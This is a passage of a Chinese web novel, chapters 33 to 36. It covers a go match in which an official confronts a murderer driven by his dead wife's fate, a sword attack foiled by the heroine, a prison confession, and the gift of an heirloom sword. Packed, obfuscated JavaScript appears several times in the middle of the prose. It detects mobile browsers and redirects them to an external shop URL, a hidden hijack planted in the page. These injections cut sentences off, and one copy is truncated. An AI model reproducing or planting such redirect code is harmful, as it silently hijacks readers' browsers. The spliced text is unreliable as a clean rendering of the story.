戏台之上,梁生初次见光华灼灼的沈倾,惊为天人,下意识掩藏自己袖口上的补丁。沈倾却还以为对方不喜自己,气愤地将书本摔在书案上。 戏台之下,陆淮舟听出了宋清时语气中的怀疑,笑了笑说:“宋少卿出身显赫,又年轻有为,大概不曾体会过寒门子弟的窘迫。” 他的目光仍落在戏台上,声音却低了几分:“我口中的妻子,是我的结发妻子。在陆某心里,有且仅有这一个妻子。” 陆淮舟在棋盘上又落下一子,棋子落在檀木棋盘上发出清脆的响声。他的表情十分平静,像是把宋清时当做了一位许久不见的故友,与他讲起了自己的经历: “那时我不过是个落拓贫寒的士子,连像样的聘礼都拿不出来。而她,是妙音坊里琴技最好的乐师,嫁给我后,她用她那双本该弹琴的手,为我操持羹汤,替我研墨展卷,朝夕相伴。” 提起久违的回忆,陆淮舟眼中也泛起一丝柔和:“彼时我曾立誓,定要出人头地,方不负她一片情深。” 宋清时落子的手顿了顿,问道:“然后呢?” “然后?”陆淮舟忽而自嘲地笑了一下,“然后我终是做了那戏文中唱的薄情郎。” “放榜那日,我胸簪红花,打马游街,绕着曲江畔游行了好久,那时我是那么的得意,觉得前路尽在脚下。可欣喜归家之后,却寻不见她,我等啊等,最后等来的却是她的死讯。” 陆淮舟执子的手都有些不稳,语气却平静克制。 他说:“阿妩的尸身被捞上来时,已经在曲江的水里泡得不成样子。邻里都说,是崔大人的千金瞧上了我,想招我为婿,又容不下阿妩,便将我的阿妩卖到了醉春楼。阿妩怕误了我的殿试,不肯让人报信,一直百般忍受。在我放榜的前一日,她终于再也受不住,纵身跳进了曲江之中。” “曲江啊……”他低低地笑了一声,眼角似有泪花,“多么可笑,我打马游街时的曲江,泡着我妻子的尸身。” “所以,宋少卿,若你是我,你难道不想为妻求一个公道吗?” 宋清时眼底的慵懒如潮水般褪去,脊背也变得挺直。 他没有立刻回答陆淮舟的问题,而是将目光投向眼前的棋局。 棋盘之上,陆淮舟所执的黑子攻势凌厉,步步紧逼,好似已经将他的白子逼入绝境。 枫红如血,秋风穿过凉亭,带来戏台上凄婉的唱腔,为这肃杀的秋日平添几分悲凉。 思考片刻后,宋清时从棋盒中拈起一枚棋子,从容地落在一处位置,缓缓开口道:“陆大人的遭遇,宋某感同身受。” “但,你的做法,恕宋某不能认同。”他抬起眼,目光中带着几分锋芒,“无论如何,恶人自有律法来惩治。若这世上的每个人都按照自己的意愿去报仇,今日你为亡妻索命是正义,明日他人为私利屠戮是否也是正义?” “在这样的正义下,这人间与炼狱又有何区别,又谈何公道? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514801|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “律法?”陆淮舟抬起头,忽而直直地望向他,好像听到了什么天大的笑话。 他笑容讽刺道:“你以为我当年没有试过报官吗?可当年的我不过是一新科进士,拿什么去对付崔氏这种势力盘根错节的百年世家,我只能忍耐着、蛰伏着,我只能爬得再高些,直到没有人再能压下我的声音。” 他重重落下一子后,闭了闭眼,试图控制自己愤怒的情绪。 可再睁眼的时候,他眼底仍旧是一片猩红:“五年啊,他们都以为我忘了,以为我被崔府的富贵迷了眼。可五年来的日日夜夜,我从未有一刻忘记。” “那绿漪和高慕贤呢,他们又做错了什么?”宋清时问。 “他们该死。”陆淮舟的声音陡然拔高,又强压下去,道:“绿漪和阿妩昔日同为妙音坊乐师,情同姐妹,可阿妩落难,她竟袖手旁观,如此背信弃义之人,如何不该死?” “至于高慕贤,那就更该死了。他先前因为嫉恨,数次当众折辱我,我都可以忍,可他千不该万不该,醉酒后于宴席上以污言秽语肆意编排我妻,玷污我妻清誉。” “我杀的都是该杀之人,何错之有?” 宋清时忽而笑了一下,抚掌而叹道:“昔年曾听父兄感叹,陆大人写得一手锦绣文章,有曹子建旧时风采,今日一见,我却觉得于巧言令色一项,陆大人也不逞多让。” 陆淮舟不可置信地望着他,瞳孔骤缩:“你怎可如此说?” “你说你想让你的声音再也不被压下?” 宋清时望着眼前情绪失控的陆淮舟,“曾经你位卑官小,确实需要隐忍,可如今你已官至御史中丞,身为御史台之首,你已然拥有独立奏事之权,所有话都可以直达天听,你若是手握实证,大可依律弹劾,用光明正大的方式去为阿妩讨回公道。可你呢?” “你依然选择了最下乘的办法去复仇,你用精心布局的糕点和‘醉春’连害三命,竟还说自己无罪。现在的你,与你口中那些仗势欺人、罔顾律法的恶人有何区别?” “你不过是在以爱之名,行杀戮之实。”宋清时字字珠玑的同时落下手中最后一子,他说:“你以为,你这样做世人会赞你夫妻情深?不,人心向来凉薄。此事若传扬出去,最先被置于风口浪尖之地的,一定是你的阿妩。” 他的话语如针似椎,犀利又不留情面。 陆淮舟手中的棋子越捏越紧,手背爆出青筋。 下棋需锱铢必较,不可失之毫厘,而他已然乱了心神,仓皇落下一子后仍欲争辩,却被宋清时抬手阻止。 宋清时平静道:“你已经输了。” 陆淮舟这才猛然低头看向棋盘,他发现,不知何时,棋盘上的形势已经全然逆转,白子竟在无声无息间将它的黑子困住。 他最后那招慌不择路的恶手彻底断送了他回旋的余地。 一字落,满盘输。 陆淮舟凝视着棋局,久久无语。 戏台之上,最后一记锣鼓已然收声,曲终人散之际,陆淮舟身旁的那位如同影子般静默的面具侍者却突然暴起,他从袖中掏出一把短剑,杀向全无防备的宋清时。 动作狠利,出手迅速,带起一阵疾风。 他抬手的瞬间,面具掉落,露出他面上那道自眉眼横贯至嘴角的刀疤。 33. 散漫傲娇少卿13 疤痕刀客举剑杀向宋清时的刹那,有人身形如电,极速穿过戏台与凉亭之间的空廊,越至宋清时身前,生生用手截住了刺向他的短剑。 那剑尖停下时,距离宋清时的眉眼仅有一寸。 只差一点,便可令宋清时双目毁损。 宋清时抬眼看去,竟是刚刚下场的江遥挡在他身前,她脸上油彩未卸,穿着繁复的戏服,受过伤的右肩已然晕开了一片深色的血迹。 宋清时微不可查地蹙了下眉,冲枫林中喊道:“段昇,还不出来。”语罢,他又忍不住看向江遥握剑的那只手。 滴答,滴答。 有鲜血自她的指缝中流出,一滴滴地溅在宋清时雪白的衣襟上。 因为疼痛,江遥额心微蹙,可那双眼睛却亮得惊人。 她对从枫林中一跃而出的段昇笑道:“我说的吧,我会保护好大人的。” 段昇点了点头,回以钦佩的目光。 此时的疤痕刀客紧盯着江遥的眼睛,终于认了出来,他冷笑道:“居然又是你来坏事。” 他手上正要发力,想一剑割穿江遥的掌心,江遥却率先反击。她忽而抬起另一只没受伤的手,向陆淮舟左胸和脖颈处射去两只飞椎。 疤痕刀客表情立变,猛地抽回短剑,硬生生回扑,举剑为陆淮舟挡下那两枚飞椎。 段昇也欲上前帮忙,却被江遥阻止。 “不必,你保护好小宋大人就行。”年轻女子的声音有些虚弱,却字字清晰,“我与他的仇,我要自己报。” 话音方落,她袖中又是寒光一闪。 两支飞椎,一上一下,直冲疤痕刀客心口和膝弯的方向。 疤痕刀客刚挡下两枚飞锥后还没站稳,便又要迎接新的攻势。今日他未曾带自己的鬼头刀,手边只有这柄小小的短剑,还要分神保护陆淮舟,着实不占上风。 他砍断一支后飞椎后躲避不及,腿部生生中了一支。 那飞椎上被江遥涂了醉骨果,见血生效。随着飞椎刺入皮肉的声响,疤痕刀客闷哼一声,手上的匕首应声而落,整个人颓然地瘫倒在地上,再提不起半分力气。 江遥俯身捡起疤痕刀客掉落在地上的短剑,起身的时候手腕一个翻转,便将冰凉的刀刃贴在陆淮舟的脖颈上。 陆淮舟眼中却毫无惧色,他淡然道:“阿妩的仇已经报完,我已了无牵挂。要杀要剐,随你们便是。” 江遥面上满是讽刺,她道:“不,你错了,阿妩最大的仇人是你。” “昔日把酒言欢之际,师姐曾对我说过心间一大憾事。她言,她曾有一乐府姊妹,琴艺不在她之下,谁料婚后却被迫沦入风尘之地。为全姐妹情分,她亲往大相国寺的禅房报信,却被他丈夫的侍从拦了下来。” 本是一片死寂的陆淮舟闻言,骤然转头看向江遥,目光中满是不可置信。 江遥看着瞳孔骤缩的陆淮舟,表情反而平静了下来,继续道: “那侍从道,陆士子殿试在即,不接受任何人的约见。若有要事,也请殿试后再来吧。” “师姐还未曾提及内容,便被侍从不由分说地赶了出来。翌日后,听闻姊妹坠崖,绿漪姐姐悲痛不已,终日饮酒,此事亦成心头一痛。” “怎么会是这样。” 得知旧日真相,陆淮舟脸上的平静寸寸龟裂,眼中一片波涛汹涌,整个人都要跌倒在地。 “大人,都是我的错。若非我当年阻拦绿漪,您又怎会来不及救夫人?属下该以死谢罪。”疤痕刀客跌在地上,神情同样又悲又悔。 江遥向前一步,用鲜血淋漓的那只手扶住即将跌倒的陆淮舟,举剑的手则微微用力,剑峰在陆淮舟颈侧压出一道红痕。 看着面色惨白的陆淮舟,江遥嘲弄一笑: “所以,陆淮舟,真正对不起阿妩的人是你。是你,为了你的锦绣前程,亲手放弃了救阿妩的机会。” 陆淮舟声音发颤:“不,不是这样的。我那时的确说过不见生人,可那时是被诸多邀请不胜其扰所致,我若是知道她带来的是关于阿妩的消息,我又怎会不见。” 得知真相的宋清时亦是叹了一声。他想,命运何其弄人。 很多时候,人生就像方才他同陆淮舟下的那局棋一样: 一子错落,悔之晚矣亦无法补救。 一步错,便步步错。 心间赖以生存的信念被打破,陆淮舟的情绪骤然失控,他不住地摇头,说自己真的不知,像在对江遥解释,又像在对自己解释。 忽然,脖颈上的寒光似乎让他想到了什么,他死死抓住江遥的手腕,对着那近在咫尺的短剑,狠狠撞了过去。 江遥大惊,手腕急转,想要收回短剑,但陆淮舟在绝望时爆发出的力量实在太大,又拼死抓着江遥的手腕不放,导致江遥只来得及将短剑向后撤了半寸。 “噗”地一声,短剑刺破陆淮舟颈间的皮肉,在江遥眉心溅上一点血迹。 陆淮舟狼狈地摔在地上。 “大人!”地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秋风将一片火红的枫叶吹到他的脚边,宋清时俯身捡起的那刻,忽而听见了自己猛烈的心跳声。 宋清时轻轻笑了一下,眉眼柔和。他知道,那是心动的声音。 他脑中情不自禁地想到梁生的那句唱词:“我从此不敢看观音。” 不禁深以为然。 他想,大抵观音下凡,也莫过如此吧。 上天何其慈悲,让他遇见了自己的观音。 34. 散漫傲娇少卿14 陆淮舟终究还是被江遥的话所打动,没有再继续寻死,他对自己所做的一切都供认不讳,承认醉春酒的秘方是他透露给柳娘的,也承认自己就是拾味轩的背后东家,非常坦然地在认罪书上签了字。 未来等待他的,是无穷无尽的牢狱生涯。 入狱第一日,陆淮舟提出,想见宋清时一面。 宋清时踏入那间暗无天日的牢房时,陆淮舟已经换上了灰色囚衣,坐在冰冷的草席上。牢里阴寒湿冷,惹得他不住低咳,他的身形十分单薄,神情却带着一种尘埃落定后的平静。 看见来人的身影,陆淮舟笑道:“你果然还是来了。” “我今日来,是想转交一样东西。”宋清时从袖中拿出一本页面泛黄的旧琴谱,将其递给陆淮舟。 陆淮舟看见那琴谱上熟悉的字迹时,一瞬间泪湿眼眶。 宋清时道:“这是阿遥姑娘为绿漪姑娘整理遗物时发现的。因上面有阿妩的落款,她便嘱我带给你。” 陆淮舟接过后,哑声开口:“的确是阿妩的字迹。那年我久病难愈,家中却无钱延医,阿妩便白日里照料我,到了夜里,还要点灯熬油地将她记下的那些传世名谱默写下来。她仅用三日便写就了这琴谱,将其卖给了琴坊换药钱。” 他摩挲着琴谱泛黄的页面,不住地咳嗽起来。琴谱虽旧,却无破损,可见收藏之人格外爱惜。 “只是没想到,这本琴谱最后竟又被绿漪买下了。” 他低低一笑,笑容悲凉。 陆淮舟注视着这琴谱良久,终是缓缓道:“阿遥姑娘有心了,陆某在此深谢了。” “能否请宋少卿,在绿漪下葬之时替我到她的坟前敬三炷香。” 宋清时静默颔首。 陆淮舟顿了顿,又继续道: “还有我的那位仆人,阿鬼。他从前吃了太多苦,后来跟了我,也没过上什么好日子。如今因我之故,流放到了寒州那等苦寒之地,也不知道要如何挨过那漫漫五年。” 他看向宋清时,恳求道:“他是个没什么坏心的人,只是执拗了些。能否烦请宋少卿替我照拂一下?” 阿鬼。 提起这个名字,宋清时的眉眼很明显地冷了下来。 “没什么坏心?这话我可不认同。” 宋清时仍然记得阿鬼砍在江遥肩膀上的那一刀,那么重的一刀,即使被剑挡了一下,也还是在江遥身上留下了深可见骨的刀伤。 还有当日他砍向自己的那一剑,也在江遥的右手上留下了极深的伤痕,她是那么爱写话本的人,那伤险些让她以后再也不能握笔。 阿鬼做了那样的事,陆淮舟竟还想让他照拂? 一想到这里,宋清时心中便涌起一股难言的躁郁。他按下自己翻腾的情绪,也不愿再徒劳争辩,只背过身去,语气近乎冰冷: “我至多保他平安抵达寒州,至于他能不能活着度过五年的苦役,非我所能,亦非我所愿。” 陆淮舟闻言静默了一瞬,苦笑道:“有少卿这句话,足矣。” “宋少卿可知,那一日我为何要邀你对弈吗?”他望着宋清时冷傲的背影,忽而转开了话题。 未等宋清时回答,他便自顾自地答道: “因为那一日,恰是阿妩的忌辰,我本就想在那一日上路。之所以邀请少卿入府,只是想在临去之前,让这世上至少有一个人知道,陆淮舟这个人,也不是生来就是十恶不赦的坏人。” 陆淮舟抬眼望向牢窗那微弱的天光,伸手想去触一触那光亮,可惜,却是徒劳无功地抓了个空。 他收回手,自嘲道:“陆淮舟啊,不过是个负了妻子的可怜虫。” 宋清时始终没有转过身来,静立片刻后,见身后之人再无他言,便朝牢门走去。 就在他即将踏出那扇牢门之际,身后突然传来陆淮舟竭尽全力的大喊: “宋少卿,你是个好人。我只能诚挚地祝少卿,永远不要经历像我一样永失所爱的痛苦,祝你与所爱之人,白头到老、永不分离。” 宋清时脚步顿了顿,却终是迈步踏了出去,他的身影消失在牢狱晦暗的长廊尽头。将那句滚烫的祝愿,永远留在了湿冷的牢房。 后来的宋清时总是在想,如果那时候他回应了陆淮舟的这句祝愿,那上天是不是就会对他和江遥稍微仁慈一些,是不是就不会让他真切地体会到何为“永失所爱”。 * 宋清时从阴暗潮湿的牢房走出来时,已经是傍晚。 夕阳西下,晚霞满天。 江遥穿着件暮山紫的窄袖襦裙,衣摆处用了渐染的技法,自腰身处的紫色向下逐渐变浅,晕染着浅金色的云霞,她站在夕阳下,整个人被夕阳镀上了一层柔和的光晕,像是把晚霞都穿在了身上。 看到宋清时出来,江遥脸上绽出了一个灿灿的笑容,用还抱着纱布的手冲他挥了挥。 宋清时向来喜欢看夕阳,因为能看到夕阳的时候,往往意味着没有积压的案件,意味着他不用挑灯熬油地加班。 而今日,他喜欢夕阳的理由又多了一个。 他走到她面前,因为看着这样鲜活的她,眉眼间的倦色都淡了不少。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522703|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江遥看他似乎心情很好的样子,便问道:“不是只让你帮忙转交琴谱,是还聊其他的了吗,怎么如此开心?” “嗯。”宋清时心情好,面上却很能稳得住,他淡淡道:“不仅如此,他还给了我一句祝福。” “他祝你什么?”江遥眨了眨眼。 “不告诉你。”宋清时淡淡弯了下唇,抬手将她被风吹乱的一缕发丝塞到耳后,“走吧,该回府了。” 瞥见他嘴角的笑意,江遥更加确定了他心情很好的事实,心间警铃大作。 鉴于宋清时留给她一贯的印象,此人一笑,往往是有什么恶作剧得逞了。 该不会,他又在想怎么捉弄她吧? 江遥在心里暗暗思量,突然想起自己还让他买了一百本话本的事。 在江遥看来,小宋大人是从不做亏本的买卖的。比如醉春楼的柳娘曾经让他花了三千两金买“醉春”酒的事。 尽管为了查找线索,小宋大人很慷慨地付了钱。 但连环杀人案结案后,柳娘因为兜售禁药的罪名被关了几个月,骗来的钱款也尽数归还给了失主,其中就有宋清时曾经拍下的那三千两金。 “小宋大人,你在付钱的时候,是不是就料到会有这么一天了。” 两人一路并肩朝宋府走着时,江遥便又重新提起了这件事。 “律法就该如此。”宋清时兴致缺缺地打了个哈欠,看上去有点累。 江遥摸了摸自己腰间的荷包,像一个守财奴,非常谨慎地说:“大人,你要了她的,就不能要我的了,我的话本可是合律法的。” 宋清时不能把她的钱也要回去吧? 宋清时怎么也想不到,自己会因为上次指名要江遥跳舞的事而彻底失去了江遥的信任。 面对此时死守荷包的江遥,他觉得此女总能在风景最好的时候做出最煞风景的举动。 他嘴角一抽,没好气道:“你说得对,我改主意了。” 江遥急道:“君子一诺千金,大人,你不能这样的。” “我不是君子,我是小人。” 宋清时步子越走越快,因为腿长步子大,很快就把江遥落在了后边。 江遥一边追,一边喊:"宋清时,宋霜序!你等等等我。" 夕阳将他的身影拖得长长的,也把年轻人的侧脸照得愈加柔和,他倏而停下脚步,勾了勾唇,道:"我的意思是,先前我那没要的一百本书,我改主意了。还请遥遥子姑娘尽快送到我府上。" 又被耍了! 追上来的江遥对着他的影子狠狠踩了一脚。 35. 散漫傲娇少卿15 阳光透过窗棂洒进屋内。江遥正坐在镜子前,给自己的伤口换药,疼得龇牙咧嘴。 换完药后,她坐在镜前,见自己未上妆的唇色有些白,乌发还披散着,很像一个苍白的女鬼。她不由得开始对镜自怜,伸出包着纱布的右手,轻轻拂过垂在肩头的长发。 她对蓝雁感叹道:“幸好头发还比较多,否则没了头发,连做女鬼都不够格了。” 因为在她的印象里,女鬼往往都是长发飘飘的。 蓝雁倒是很乐天派,在那边安慰道:“放心吧,应该不会到你头发掉光的那一天的,以宋清时现在对你的好感度来看,你很快就可以开启死遁计划了。” 自那日和陆淮舟对弈过后,宋清时的好感度突然一下子升到了80%。 80%,才认识多久,就升到了这么高,蓝雁觉得这个攻略任务没多久就可以收尾了。 然而,江遥却摇了摇头。她随手拿起桌边的那枚绣着白色猫猫的香囊,手指在上面戳了戳:“你还是不够了解小宋大人呀。我觉得接下来的时间,他的好感度应该不会升得太快了。” 有些人,就像猫一样,天生情感就不会那么充沛。 比如宋清时,他的80%好感度几乎可以抵得上别人100%的好感度了,也是因此,这最后的好感度才格外难求。 “而且我觉得,”江遥托着腮补充,“在我死遁之前,小宋大人的好感度应该不会达到百分之百。” 蓝雁一怔,很快明白了她的意思:“你是要用死遁,来完成最后好感度的提升?” “是啊,”江遥叹了口气,指尖无意识抚摸着香囊上面的小猫,“所以我还是希望可以陪伴他久一点。” 她的表情有些不忍。 她想,那是他平生第一次心动,她不希望,只留给他一场惨烈的结局。 正走神的时候,房门处突然传来了叩门的声音。 门外依稀可以看到一个颀长的影子,姿态疏懒。 “是我,宋清时。” 门打开的瞬间,他目光落在她脸上,散漫的神色忽然就变得认真。 他轻声问:“怎么了?” 即使面前的人已经刻意掩饰情绪,但他到底是刑狱之官,素来观人于微,哪怕只有一点不同,也能发现端倪。 江遥心里惊讶了一下,没想到自己的怅然竟然被他瞧出来了,面对对方沉静的目光,她只好半真半假地说:“没什么,只是方才照镜子的时候,我觉得我现在的模样很像话本里那种会吃人心的精怪。” 她一边说,还一边做了个鬼脸。 以为这样能缓和一下气氛。 宋清时却只是静静地看着她,茶色眼眸中没有半点笑意,反而闪过明显的心疼与自责。 他想,他终究还是疏忽了。即便江遥性格再活泼,再表现得对自己的容貌不在意,她终究也还是一个正当韶华的年轻姑娘,怎么可能不爱美。 “小宋大人?”江遥见他沉默,唤了他一声。 宋清时回过神,很认真地摇了摇头,对她说:“不像。我倒觉得,像观音下凡。” 他是真的这么认为的,眼前人青丝如瀑,眼眸若星,泛白的唇色不但没有令她损色半分,反而增加了几分清妍。 但他最欣赏的,从来不是她的容貌,而是她永远神采奕奕的灵动和历经风波险阻后仍然不变的善良与赤诚。 “小宋大人几时也学得这般油嘴滑舌了?”江遥一怔,随即失笑。 这还是她认识宋清时以来,第一次听到他的夸赞。 笑意从眼底漾开,江遥弯了弯眉眼,心情忽然就好了起来。 她的小宋大人啊,果然是个嘴硬心软的人。 她展颜问道:“小宋大人,来找我有什么事吗?” 见她的心情好些了,宋清时这才想起自己的目的,慢吞吞地伸出自己一直背在身后的右手。 将一把剑递到了江遥眼前。 这把剑看上去很古朴,剑鞘是清雅的玄青色,两侧镶着云纹,剑柄上的莲花花纹已经有些磨损,整个剑都像是经历过了岁月的打磨,在阳光下散发着温润的光泽。 “赔你的。”宋清时面上若无其事,可耳后却泛起了淡淡的粉色。 江遥很惊喜地接过:“我正想再去打一把剑呢,没想到倒是小宋大人抢先一步了。” 她原来的佩剑在和宋清时去寻醉骨草时断了,原以为只有自己记得清楚,没想到他也一直放在心上。 兵器对习武之人来说不亚于身家性命,爱武之人也往往懂兵器。懂行之人更是一上手就能看出武器的好坏。 江遥对这把剑简直是爱不释手,她迫不及待地拔剑出鞘,剑峰瞬间亮出一道清亮如月辉的光华。 她正要试一试剑的威力,却忽然发现剑身上还刻着几个字,因为岁月的侵蚀,笔划边缘已经有些磨损。 “流光?” 认出上面的字迹后,江遥猛地看了一眼宋清时,眸中满是难以置信。 她依稀记得,景国开国曾有一位功勋卓著 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530805|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女将军,以一把长剑杀敌无数,太祖皇帝更是亲为她的佩剑赐名“流光”。 “一剑霜寒十四州,流光从此定千秋。” 这个剑名不仅盛赞了她在战场之上的剑光如练与所向披靡,还将她的勇武直接与国家的千秋基业绑定。 此赞誉不可谓不高。 剑拿在手中,她越发觉得沉甸甸的。 “没错,这是我曾曾祖母的剑。” 宋清时很骄矜又很淡定地点了点头。 江遥彻底怔住了,她一直以为宋家是世代清流的文臣顶级门第,从未想过他的家中竟出过这样一位女中豪杰,更没想过他竟然直接将这样意义非凡的剑送给了她。 “这太贵重了,我怎么能收呢。”她下意识地想将剑退回去。 宋清时却又将她推拒的手送了回来,一向漫不经心的神色变得有些郑重,他道:“救命之恩,理当如此。” “更何况,阿遥姑娘还舍命救我两次。” 宋清时的目光中透着几分执拗,大有一副她不收,他便不走的意思。 有恩必报,是宋家人的家训,他不能因为她从不以恩相胁,便也装作无事发生,轻飘飘地将事情揭过去。 他道:“曾曾祖母临终前曾说,宁可让宝剑藏在府库中蒙尘,也不要让流光为心术不正之人所持,她希望后人为流光择一配得上它的剑主。” “那日悬崖之上,阿遥姑娘将我护在身前挥动手中长剑时,我便想,或许我为流光剑找到了新的剑主。” 宋清时拉过江遥的手,将流光剑稳稳放于她的掌心,用修长的手包住了她的指尖,让她将五指合拢。 而后,他俯下身与她平视,声音温柔而清晰: “阿遥,你当得起它的主人。” 江遥望着他眼中的信任与鼓励,终于不再推拒。她紧紧地握住剑鞘,对眼前人道:“定不负相赠之心。” 宋清时轻轻笑了。 ‘流光’在宋家府库中寂寂百年,终于在此时得见天日,等来了它的新主人。 宋清时没有告诉江遥,他之所以送她流光,还有另一个原因: “此夜江中月,流光花上春。” 江遥一次次挡在他面前的画面曾经一次次在他的脑海里重演。 在他看来,剑不只可以作为杀人的凶器,亦可以作为守护美好的见证。 宋清时想,他的小观音,下凡救人用的不是净瓶,而是宝剑。 他的小观音,必须要世间最好的剑来相配。 36. 散漫傲娇少卿16 江遥刚拿到剑,眼睛里就写满了跃跃欲试,转身往庭院中走去。 宋清时的手虚拦在她面前,不赞同道:“你的伤还没好,试剑并不急在一时。” 他还记得半夏的叮嘱,他觉得江遥肩膀上的伤若是不好生将养,会留下疤痕倒是其次,要紧的是旧伤不愈,日后阴雨天恐要受苦。 “我自己的伤,我自己心里有数。”江遥扯住他衣袖的一角,仰起脸看他,把声音放软了些,带着点央求的意味,“我定会小心的,让我去试试吧,好不好?” “不好。”宋清时抽回衣袖,抱臂而立。颀长的身形在秋日午后的阳光中落下疏淡的影子。他垂眸看江遥的时候,有一种不怒自威的感觉。 在养伤这件事上,他是真的很坚决。 “小宋大人刚收了我的礼物,转头就这样对我呀?”江遥声音里透着点委屈。 闻言,宋清时的目光下意识扫过自己腰间挂着的竹青色香囊,这香囊倒是没什么特别的装饰,只是绣的图案却很别致,是一只趴在垫子上给自己梳毛的白色小猫,姿态懒洋洋的,尾巴轻轻卷着。 小猫通体都是用银白丝线绣成,独独眼睛的地方,用了茶色的线绣成。 那是方才江遥亲手给他系上去的。 她那时踮着脚,脸上的笑容明媚又狡黠:“我正好也有礼物送给小宋大人,我们这也算是心有灵犀了。” 一如今日灿烂的阳光,让人不自觉就心生向往。 可此刻,宋清时忍不住再次抬眼看她,脸上挂着几分无奈。 眼前的人为了让自己同意,还刻意换了受伤的那只手抓着自己的袖子,一双漆黑的眼睛眨啊眨,似有盈盈的水光在里头,好像下一秒就要掉眼泪似的。 与方才简直是天差地别。 宋清时想,她惯会装可怜。 第一次见面时就是那样。 可是,即使明知道她是装的,宋清时还是心软了。 没有人会在心上人这样委屈恳求的目光下始终保持无动于衷,至少宋清时做不到。 但他依旧不打算松口,事关她的伤势,他不能不重视。只好先迂回着,先将心上人暂时哄住吧。 “先把头发扎好吧。”他抬手,指尖轻轻地碰了碰她垂落在肩头的发丝。 一听这话,江遥的眼睛倏然亮起来,哪还有刚才的委屈劲儿:“你答应了?” 宋清时不置可否,只含糊地“嗯”了一声。事实上,他是想先拖延一会儿,等她这阵兴头过了,或许就不会想到舞剑的事了。 看着已经雀跃地要去找发带梳头的人,他唇角忍不住勾起一抹笑容:“我帮你梳吧。” “好呀。”江遥不疑有他,只当他是在体贴自己手伤不便,转身坐到了庭院中的椅子上。 于是,等许远宁踏入宋府后院的时候,看到的就是这样的场景。 年轻男子薄唇微抿,灿烂的阳光撒在他的身上,将他本就精致的五官衬得更加昳丽。光是简单地立在那里,就可以入画。而此时的他,眉眼中都透露着温柔,手上的动作温柔而认真,将女子的青丝松松握在手中,一下一下地梳着。 而坐在椅子上的女子呢,懒散地靠着椅背,微微眯着眼,脸上的表情混杂着无奈与一点点焦躁。 像是实在忍不住了,过了一会儿她向身后的人抱怨道:“小宋大人,虽然我的头发是有好几日没仔细打理了,可您也不至于,梳了半个时辰还停在第一步吧。” 江遥简直欲哭无泪,她腰都坐得发酸了,这头发离梳好却还遥遥无期。 她知道宋清时是为了拖延她练剑,但是这个拖延的借口也太明显了吧。 她身后的年轻男子闻言,很无辜地低笑一声,慢悠悠道:“哦?是么,原来已经过了这般久了。” “你再慢些,太阳都要落山了。”江遥睁开眼,正想活动一下僵硬的肩膀,动作却忽然顿住。 宋清时也顺着她的视线望去,看到了站在银杏树下的许远宁。 那人一袭湖蓝色常服,面容清俊文雅,正静静望着他们这边,不知站了多久。 “这位大人是?”江遥状似疑惑地出声问道。 这是时隔两年后,她与原女主许远宁的又一次相见。只是故人相逢,却有一人容颜已改,身份已换,说故人似乎又算不上故人。在此时的许远宁眼中,她大概只是一个素不相识、与宋清时举止亲昵的陌生姑娘罢了。 静默许久的许远宁淡笑了一声,“唐突来访,不曾想霜序府中已另有客人。没有打扰到二位吧?” 江遥几乎是立刻就站了起来,客气地说:“怎么会。” 宋清时手中的秀发骤然被抽走,指尖无意识地捻了捻。 望着空空的掌心,他眉梢几不可察地向上一挑,抬眼看向许远宁,懒散道:“横竖你也等了一会儿了,不介意再多等一会儿吧?” 许远宁挑了挑眉,语带调侃:“这就是你的待客之道吗,宋霜序。”言罢,她又看向江遥,神色转为温和舒朗:“这便是帮助霜序破获连环杀人案的阿遥姑娘吧,久仰久仰。在下户部许远宁,今日冒昧来访,是有些公务需与他商议。” 江遥微笑道:“许大人之风采我亦久仰,若有要紧的公务,二位可以先去谈,不用顾及我的。” 初次见面的两个人都十分友好,言谈用语十分客气,直听得一旁的宋清时啧了一声:“行了,你们两个是那么懂礼数的人吗,在自己人面前,就别装了。” “自己人啊。”江遥闻言,眉眼立刻舒展起来,从善如流地重新坐在椅子上,姿势要多随意有多随意,“既然这样就见笑了。” 许远宁也懒得再装谦谦君子,径直走到院中的另一把空着的竹椅前坐下,伸手拎起桌上的茶壶,给自己斟了杯茶,然后她手一伸,像对面的二人做了个请的手势:“您二位继续。” 